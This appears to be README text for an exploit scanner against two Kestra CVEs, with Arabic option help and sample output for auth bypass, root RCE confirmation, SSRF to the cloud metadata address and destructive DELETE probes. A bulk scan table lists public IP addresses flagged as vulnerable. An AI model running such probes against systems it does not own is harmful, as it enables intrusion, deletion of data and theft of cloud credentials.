positional:
  target                          رابط الهدف (مثل http://localhost:8080)

options:
  -f, --file                      ملف يحتوي على أهداف (سطر واحد لكل هدف)
  -t, --timeout                   مهلة الطلب بالثواني (افتراضي: 10)
  --verify-ssl                    التحقق من شهادات TLS
  -j, --json                      إخراج JSON إلى stdout
  -o, --output                    كتابة تقرير JSON إلى ملف
  --tenant                        اسم المستأجر (افتراضي: "main")
  --namespace                     مساحة الاسم لمسارات التجاوز (افتراضي: "tutorial")
  -w, --workers                   عدد الخيوط للمسح الجماعي (افتراضي: 10)
  -a, --aggressive                إرسال طلبات PUT لتأكيد تجاوز الكتابة
  -P, --auto-ports                المنافذ للتوسيع التلقائي (افتراضي: 8080 8081 8088 8091 80 443)

advanced probes:
  -r, --rce                       تفعيل سلسلة التحقق من RCE (تدفق شل + بايثون،
                                   تشغيل التنفيذ، استرداد السجلات، التنظيف التلقائي)
  -s, --ssrf                      تفعيل كشف SSRF (Pebble http() لنقاط نهاية بيانات تعريف
                                   السحابة، جمع الأدلة من السجلات)
  -d, --destructive               تفعيل استكشافات DELETE على التدفقات ولوحات المعلومات
                                   والسجلات (سيحذف الموارد على المثيلات الضعيفة)
  --poll-interval                 الثواني بين استقصاءات السجلات لسلاسل RCE/SSRF (افتراضي: 3)
  --poll-retries                  الحد الأقصى لمحاولات استقصاء السجلات لسلاسل RCE/SSRF (افتراضي: 10)

====================================================================
  Target:    http://10.0.0.1:8080
  Timestamp: 2026-06-30T12:00:00+00:00
====================================================================

  Version:      1.3.20 (AFFECTED)
  RCE:          CONFIRMED via shell
    | SCAN_RCE_a1b2c3d4e5f6
    | uid=0(root) gid=0(root) groups=0(root)
  SSRF:         DETECTED
    | Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
  DELETE BYPASS: CONFIRMED destructive ops bypass auth

  [Flows Bypass]
    URL:         http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
    Status:       200
    Bypass:      YES

  [Exec Bypass]
    URL:         http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
    Status:       404
    Bypass:      No

  ...

  ── RCE Verification Chain ──
    Flow Create: 201
    Exec Trigger: 201
    Log Evidence: 200
      > SCAN_RCE_a1b2c3d4e5f6
      > uid=0(root) gid=0(root) groups=0(root)
    Flow Cleanup: 204

  ── SSRF Detection Chain ──
    Flow Create: 201
    Exec Trigger: 201
    Evidence: 200
      Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
    Flow Cleanup: 204

  [VULN]  Verdict: VULNERABLE ...
====================================================================

========================================================================================================================================
  BULK SCAN SUMMARY   GHSA-5vc5-wxxq-3fjx  |  CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
  #    Target                          Auth   Flows  Exec   KV     Dash   Logs   Tmpl   RCE    SSRF   DEL    Ver
  ---------------------------------------------------------------------------------------------------------------------------------------
  1    http://173.249.1.26:8080        401    404    ERR    ERR    ERR    405    404    YES    YES    YES    RCE!
  2    http://207.180.207.199:8080     401    404    ERR    ERR    ERR    405    404    INC    -      YES    VULN
  ...
  30   http://103.115.65.228:8080      401    401    ERR    401    ERR    401    401    -      -      -      SAFE
  ...
========================================================================================================================================
  Total: 258  |  Vulnerable: 5  |  RCE Confirmed: 1  |  SSRF Detected: 1  |  DEL Bypass: 2  |  Safe: 29  |  Inconclusive: 224
========================================================================================================================================

{
  "scan_info": {
    "scanner": "kestra_cve v2.0.0",
    "cve": ["CVE-2026-49869", "CVE-2026-53576"],
    "aggressive": true,
    "rce": true,
    "ssrf": true,
    "destructive": true
  },
  "results": [
    {
      "target": "http://10.0.0.1:8080",
      "vulnerable": true,
      "version": "1.3.20",
      "version_in_affected_range": true,
      "rce_confirmed": true,
      "rce_method": "shell",
      "rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
      "ssrf_detected": true,
      "ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
      "delete_bypass": true,
      "probes": { "..." : "..." }
    }
  ],
  "summary": {
    "total": 258,
    "vulnerable": 5,
    "rce_confirmed": 1,
    "ssrf_detected": 1,
    "delete_bypass": 2,
    "safe": 29,
    "inconclusive": 224
  }
}

pip install -r requirements.txt
python main.py --help